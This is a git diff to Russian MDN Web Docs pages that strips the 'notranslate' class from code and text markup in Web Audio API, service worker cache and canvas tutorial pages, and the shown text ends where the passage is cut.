diff options
Diffstat (limited to 'files/ru/web')
340 files changed, 1905 insertions, 1905 deletions
diff --git a/files/ru/web/api/analysernode/getbytefrequencydata/index.html b/files/ru/web/api/analysernode/getbytefrequencydata/index.html index 86ca8846e1..d0f4d76dca 100644 --- a/files/ru/web/api/analysernode/getbytefrequencydata/index.html +++ b/files/ru/web/api/analysernode/getbytefrequencydata/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/AnalyserNode/getByteFrequencyData <h2 id="Синтаксис">Синтаксис</h2> -<pre class="brush: js notranslate">var audioCtx = new AudioContext(); +<pre class="brush: js">var audioCtx = new AudioContext(); var analyser = audioCtx.createAnalyser(); var dataArray = new Uint8Array(analyser.frequencyBinCount); // Uint8Array должен иметь такой же размер, что и frequencyBinCount @@ -38,7 +38,7 @@ void <em>analyser</em>.getByteFrequencyData(dataArray); // заполняет Ui <p>Следующий пример показывает базовое использование {{domxref ("AudioContext")}} для создания AnalyserNode, затем {{domxref ("window.requestAnimationFrame ()", "requestAnimationFrame")}} и {{htmlelement ("canvas" )}} для повторения сбора частотных данных и вывода в стиле гистограммы winamp для текущего аудиовхода. Для получения дополнительных примеров / информации ознакомьтесь с нашей демонстрацией <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> (см. соответствующий код в строках <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> ).</p> -<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); ... diff --git a/files/ru/web/api/analysernode/index.html b/files/ru/web/api/analysernode/index.html index 3eba1fb760..c319515a2a 100644 --- a/files/ru/web/api/analysernode/index.html +++ b/files/ru/web/api/analysernode/index.html @@ -97,7 +97,7 @@ translation_of: Web/API/AnalyserNode <p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p> -<pre class="brush: js notranslate">var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); +<pre class="brush: js">var audioCtx = new(window.AudioContext || window.webkitAudioContext)(); var analyser = audioCtx.createAnalyser(); // ... diff --git a/files/ru/web/api/audioparam/index.html b/files/ru/web/api/audioparam/index.html index bbe425dcb6..9ce41633ff 100644 --- a/files/ru/web/api/audioparam/index.html +++ b/files/ru/web/api/audioparam/index.html @@ -65,7 +65,7 @@ translation_of: Web/API/AudioParam <p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p> -<pre class="brush: js notranslate">var AudioContext = window.AudioContext || window.webkitAudioContext; +<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); var gainNode = audioCtx.createGain(); @@ -73,7 +73,7 @@ gainNode.gain.value = 0;</pre> <p>Next, an example showing a {{ domxref("DynamicsCompressorNode") }} having some param values maniuplated. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p> -<pre class="brush: js notranslate">var compressor = audioCtx.createDynamicsCompressor(); +<pre class="brush: js">var compressor = audioCtx.createDynamicsCompressor(); compressor.threshold.setValueAtTime(-50, audioCtx.currentTime); compressor.knee.setValueAtTime(40, audioCtx.currentTime); compressor.ratio.setValueAtTime(12, audioCtx.currentTime); diff --git a/files/ru/web/api/audioparam/setvalueattime/index.html b/files/ru/web/api/audioparam/setvalueattime/index.html index 202e13d971..9a6485b694 100644 --- a/files/ru/web/api/audioparam/setvalueattime/index.html +++ b/files/ru/web/api/audioparam/setvalueattime/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/AudioParam/setValueAtTime <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> +<pre class="syntaxbox">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> <h3 id="Параметры">Параметры</h3> @@ -28,7 +28,7 @@ translation_of: Web/API/AudioParam/setValueAtTime <p>This simple example features a media element source with two control buttons (see our <a href="https://github.com/mdn/webaudio-examples/blob/master/audio-param/index.html">webaudio-examples repo</a> for the source code, or <a href="https://mdn.github.io/webaudio-examples/audio-param/">view the example live</a>). When the buttons are pressed, the <code>currGain</code> variable is incremented/decremented by 0.25, then the <code>setValueAtTime()</code> method is used to set the gain value equal to <code>currGain</code>, one second from now (<code>audioCtx.currentTime + 1</code>.)</p> -<pre class="brush: js;highlight[32,37] notranslate">// create audio context +<pre class="brush: js;highlight[32,37]">// create audio context var AudioContext = window.AudioContext || window.webkitAudioContext; var audioCtx = new AudioContext(); diff --git a/files/ru/web/api/beforeinstallpromptevent/index.html b/files/ru/web/api/beforeinstallpromptevent/index.html index ab241f8f1d..d572446540 100644 --- a/files/ru/web/api/beforeinstallpromptevent/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/index.html @@ -45,7 +45,7 @@ translation_of: Web/API/BeforeInstallPromptEvent <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">window.addEventListener("beforeinstallprompt", function(e) { +<pre class="brush: js">window.addEventListener("beforeinstallprompt", function(e) { // Зарегистрируйте платформы, указанные в качестве параметров, в запросе на установку console.log(e.platforms); // e.g., ["web", "android", "windows"] e.userChoice.then(function(choiceResult) { diff --git a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html index f8c623a1c1..ad2177d693 100644 --- a/files/ru/web/api/beforeinstallpromptevent/prompt/index.html +++ b/files/ru/web/api/beforeinstallpromptevent/prompt/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/BeforeInstallPromptEvent/prompt <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">BeforeInstallPromptEvent.prompt()</pre> +<pre class="syntaxbox">BeforeInstallPromptEvent.prompt()</pre> <h3 id="Параметры">Параметры</h3> @@ -26,7 +26,7 @@ translation_of: Web/API/BeforeInstallPromptEvent/prompt <h2 id="Пример">Пример</h2> -<pre class="notranslate">var isTooSoon = true; +<pre>var isTooSoon = true; window.addEventListener("beforeinstallprompt", function(e) { if (isTooSoon) { e.preventDefault(); // Предотвращает быстрое отображение diff --git a/files/ru/web/api/bluetoothremotegattserver/index.html b/files/ru/web/api/bluetoothremotegattserver/index.html index 6f4c9d5c2f..61a84cb2b6 100644 --- a/files/ru/web/api/bluetoothremotegattserver/index.html +++ b/files/ru/web/api/bluetoothremotegattserver/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/BluetoothRemoteGATTServer <h2 id="Интерфейс">Интерфейс</h2> -<pre class="syntaxbox notranslate">interface BluetoothRemoteGATTServer { +<pre class="syntaxbox">interface BluetoothRemoteGATTServer { readonly attribute BluetoothDevice device; readonly attribute boolean connected; diff --git a/files/ru/web/api/broadcastchannel/postmessage/index.html b/files/ru/web/api/broadcastchannel/postmessage/index.html index 12932d5046..6a0dedcd7b 100644 --- a/files/ru/web/api/broadcastchannel/postmessage/index.html +++ b/files/ru/web/api/broadcastchannel/postmessage/index.html @@ -19,7 +19,7 @@ translation_of: Web/API/BroadcastChannel/postMessage <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code> +<pre class="syntaxbox">var <em>str</em> = <em>channe<code>l</code></em><code>.postMessage(<em>object</em>);</code> </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/caches/index.html b/files/ru/web/api/caches/index.html index a6a19b6b1c..d67b99be17 100644 --- a/files/ru/web/api/caches/index.html +++ b/files/ru/web/api/caches/index.html @@ -12,7 +12,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>myCacheStorage</em> = self.caches; // or just caches +<pre class="syntaxbox">var <em>myCacheStorage</em> = self.caches; // or just caches </pre> <h3 id="Значение">Значение</h3> @@ -23,7 +23,7 @@ original_slug: Web/API/WindowOrWorkerGlobalScope/caches <p>Данный пример показывает как надо использовать кеш в контексте <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> для хранения в автономном режиме</p> -<pre class="brush: js notranslate">this.addEventListener('install', function(event) { +<pre class="brush: js">this.addEventListener('install', function(event) { event.waitUntil( caches.open('v1').then(function(cache) { return cache.addAll([ diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html index 44f0185bad..8c1a771764 100644 --- a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html +++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html @@ -6,17 +6,17 @@ translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations <div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div> <div class="summary"> -<p><span class="notranslate">В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span class="notranslate"> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p> +<p><span>В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p> </div> -<h2 id="Рисование_мяча"><span class="notranslate">Рисование мяча</span></h2> +<h2 id="Рисование_мяча"><span>Рисование мяча</span></h2> -<p><span class="notranslate">Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span class="notranslate">.</span> Нам нужен следующий код.</p> +<p><span>Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span>.</span> Нам нужен следующий код.</p> <pre class="brush: html"><canvas id="canvas" width="600" height="300"></canvas> </pre> -<p><span class="notranslate">Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p> +<p><span>Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p> <pre class="brush: js">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); @@ -37,11 +37,11 @@ var ball = { ball.draw();</pre> -<p><span class="notranslate">Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p> +<p><span>Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p> -<h2 id="Добавление_скорости"><span class="notranslate">Добавление скорости</span></h2> +<h2 id="Добавление_скорости"><span>Добавление скорости</span></h2> -<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span class="notranslate">Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span class="notranslate">помогает нам контролировать анимацию.</span> <span class="notranslate">Мяч перемещается, добавляя вектор скорости в положение.</span> <span class="notranslate">Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span class="notranslate"> холст, чтобы удалить старые круги из предыдущих кадров.</span></p> +<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span>Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span>помогает нам контролировать анимацию.</span> <span>Мяч перемещается, добавляя вектор скорости в положение.</span> <span>Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span> холст, чтобы удалить старые круги из предыдущих кадров.</span></p> <pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas'); var ctx = canvas.getContext('2d'); @@ -82,9 +82,9 @@ canvas.addEventListener('mouseout', function(e) { ball.draw(); </pre> -<h2 id="Границы"><span class="notranslate" style="background-color: #e6ecf9;">Границы</span></h2> +<h2 id="Границы"><span style="background-color: #e6ecf9;">Границы</span></h2> -<p><span class="notranslate">Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span class="notranslate"> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span class="notranslate"> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p> +<p><span>Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p> <pre class="brush: js">if (ball.y + ball.vy > canvas.height || ball.y + ball.vy < 0) { ball.vy = -ball.vy; @@ -93,9 +93,9 @@ if (ball.x + ball.vx > canvas.width || ball.x + ball.vx < 0) { ball.vx = -ball.vx; }</pre> -<h3 id="Первое_демо"><span class="notranslate">Первое демо</span></h3> +<h3 id="Первое_демо"><span>Первое демо</span></h3> -<p><span class="notranslate">Посмотрим, как он выглядит в действии.</span> <span class="notranslate"> Переместите мышь на холст, чтобы запустить анимацию.</span></p> +<p><span>Посмотрим, как он выглядит в действии.</span> <span> Переместите мышь на холст, чтобы запустить анимацию.</span></p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas></pre> @@ -158,7 +158,7 @@ ball.draw();</pre> <pre class="brush: js">ball.vy *= .99; ball.vy += .25;</pre> -<p><span class="notranslate">Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p> +<p><span>Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p> <div class="hidden"> <h6 id="Second_demo">Second demo</h6> @@ -284,9 +284,9 @@ ball.draw();</pre> <p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p> -<h2 id="Добавление_управления_мышью"><span class="notranslate" style="background-color: #e6ecf9;">Добавление управления мышью</span></h2> +<h2 id="Добавление_управления_мышью"><span style="background-color: #e6ecf9;">Добавление управления мышью</span></h2> -<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span class="notranslate"> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span class="notranslate"> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Events/click&usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p> +<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Web/Events/click&usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p> <div class="hidden"> <pre class="brush: html"><canvas id="canvas" style="border: 1px solid" width="600" height="300"></canvas></pre> @@ -358,7 +358,7 @@ canvas.addEventListener('mouseout', function(e) { ball.draw(); </pre> -<p><span class="notranslate">Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p> +<p><span>Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p> <p>{{EmbedLiveSample("Добавление_управления_мышью", "610", "310")}}</p> diff --git a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html index c17cdbedca..e82a99b84c 100644 --- a/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html +++ b/files/ru/web/api/canvas_api/tutorial/applying_styles_and_colors/index.html @@ -29,7 +29,7 @@ original_slug: Web/API/Canvas_API/Tutorial/Применение_стилей_и_ <p>Чтобы строка <em><code>color </code></em>считалась валидной, она должна соответствовать CSS {{cssxref("<color>")}}. Далее приведены примеры того, как можно по-разному задать один и тот же цвет. </p> -<pre class="brush: js notranslate">// these all set the fillStyle to 'orange' +<pre class="brush: js">// these all set the fillStyle to 'orange' ctx.fillStyle = "orange"; ctx.fillStyle = "#FFA500"; @@ -41,7 +41,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зелёные значения. Синий канал представляет собой фиксированное значение. Путём изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p> -<pre class="brush: js;highlight[5,6] notranslate">function draw() { +<pre class="brush: js;highlight[5,6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i=0;i<6;i++){ for (var j=0;j<6;j++){ @@ -53,9 +53,9 @@ ctx.fillStyle = "rgba(255,165,0,1)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Результат выглядит так:</p> @@ -66,7 +66,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>Этот пример похож на предыдущий, но мы используем свойство <code>strokeStyle</code> чтобы изменить цвета очертаний фигур. Так же мы используем метод <code>arc()</code> для рисования окружностей вместо квадратов.</p> -<pre class="brush: js;highlight[5,6] notranslate"> function draw() { +<pre class="brush: js;highlight[5,6]"> function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i=0;i<6;i++){ for (var j=0;j<6;j++){ @@ -81,9 +81,9 @@ ctx.fillStyle = "rgba(255,165,0,1)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>Результат выглядит так:</p> @@ -103,7 +103,7 @@ ctx.fillStyle = "rgba(255,165,0,1)"; <p>Так как свойства <code>strokeStyle</code> и <code>fillStyle</code> принимают цветовые значения rgba через CSS, мы можем использовать следующее обозначение для назначения прозрачных цветов.</p> -<pre class="brush: js notranslate">// Assigning transparent colors to stroke and fill style +<pre class="brush: js">// Assigning transparent colors to stroke and fill style ctx.strokeStyle = "rgba(255,0,0,0.5)"; ctx.fillStyle = "rgba(255,0,0,0.5)"; @@ -115,7 +115,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами. Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая ещё больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счётчик итераций, при этом рисуя ещё круги, мы сможем добиться исчезновение центра изображения.</p> -<pre class="brush: js;highlight[15] notranslate">function draw() { +<pre class="brush: js;highlight[15]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // фон изображения ctx.fillStyle = '#FD0'; @@ -140,9 +140,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_globalAlpha", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p> @@ -151,7 +151,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В этом втором примере мы делаем что-то похожее на предыдущее, но вместо рисования кругов друг над другом, я рисовал маленькие прямоугольники с увеличением непрозрачности. Использование <code>rgba()</code> добавляет контроля и гибкости, поскольку мы можем индивидуально настраивать стиль заливки и штриха.</p> -<pre class="brush: js;highlight[16] notranslate">function draw() { +<pre class="brush: js;highlight[16]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Нарисовать фон @@ -174,9 +174,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; }</pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_использования_rgba", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p> @@ -212,7 +212,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В приведённом ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечётной ширины не выглядят чёткими из-за позиционирования пути.</p> -<pre class="brush: js;highlight[4] notranslate">function draw() { +<pre class="brush: js;highlight[4]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); for (var i = 0; i < 10; i++){ ctx.lineWidth = 1+i; @@ -225,9 +225,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p> @@ -269,7 +269,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант - <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p> -<pre class="brush: js;highlight[18] notranslate">function draw() { +<pre class="brush: js;highlight[18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var lineCap = ['butt','round','square']; @@ -296,9 +296,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p> @@ -322,7 +322,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>В приведённом ниже примере показаны три разных пути, демонстрирующие каждый из этих трёх свойств <code>lineJoin</code>; результат - выше. </p> -<pre class="brush: js;highlight[6] notranslate">function draw() { +<pre class="brush: js;highlight[6]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); var lineJoin = ['round','bevel','miter']; ctx.lineWidth = 10; @@ -340,9 +340,9 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>{{EmbedLiveSample("Пример_lineJoin", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p> @@ -367,7 +367,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; <p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удалённой от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p> -<pre class="brush: js;highlight[18] notranslate">function draw() { +<pre class="brush: js;highlight[18]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Clear canvas @@ -402,7 +402,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </pre> <div class="hidden"> -<pre class="brush: html notranslate"><table> +<pre class="brush: html"><table> <tr> <td><canvas id="canvas" width="150" height="150"></canvas></td> <td>Change the <code>miterLimit</code> by entering a new value below and clicking the redraw button.<br><br> @@ -415,7 +415,7 @@ ctx.fillStyle = "rgba(255,0,0,0.5)"; </tr> </table></pre> -<pre class="brush: js notranslate">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit; +<pre class="brush: js">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit; draw();</pre> </div> @@ -428,10 +428,10 @@ draw();</pre> <p>В этом примере мы создаём эффект походных муравьёв. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="110" height="110"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="110" height="110"></canvas></pre> </div> -<pre class="brush: js;highlight[6] notranslate">var ctx = document.getElementById('canvas').getContext('2d'); +<pre class="brush: js;highlight[6]">var ctx = document.getElementById('canvas').getContext('2d'); var offset = 0; function draw() { @@ -467,7 +467,7 @@ march();</pre> <p>For example:</p> -<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150); +<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150); var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100); </pre> @@ -480,7 +480,7 @@ var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100); <p>You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.</p> -<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0,0,150,150); +<pre class="brush: js">var lineargradient = ctx.createLinearGradient(0,0,150,150); lineargradient.addColorStop(0, 'white'); lineargradient.addColorStop(1, 'black'); </pre> @@ -489,7 +489,7 @@ lineargradient.addColorStop(1, 'black'); <p>In this example, we'll create two different gradients. As you can see here, both the <code>strokeStyle</code> and <code>fillStyle</code> properties can accept a <code>canvasGradient</code> object as valid input.</p> -<pre class="brush: js;highlight[5,11] notranslate">function draw() { +<pre class="brush: js;highlight[5,11]">function draw() { var ctx = document.getElementById('canvas').getContext('2d'); // Create gradients @@ -515,9 +515,9 @@ lineargradient.addColorStop(1, 'black'); </pre> <div class="hidden"> -<pre class="brush: html notranslate"><canvas id="canvas" width="150" height="150"></canvas></pre> +<pre class="brush: html"><canvas id="canvas" width="150" height="150"></canvas></pre> -<pre class="brush: js notranslate">draw();</pre> +<pre class="brush: js">draw();</pre> </div> <p>The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.</p> @@ -530,7 +530,7 @@ lineargradient.addColorStop(1, 'black'); <p>In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).</p> -<pre class="brush: js;highlight[5,10,15,20] notranslate">function draw() { +<pre class="brush: js;highlight[5,10,15,20]">function draw() { var ctx 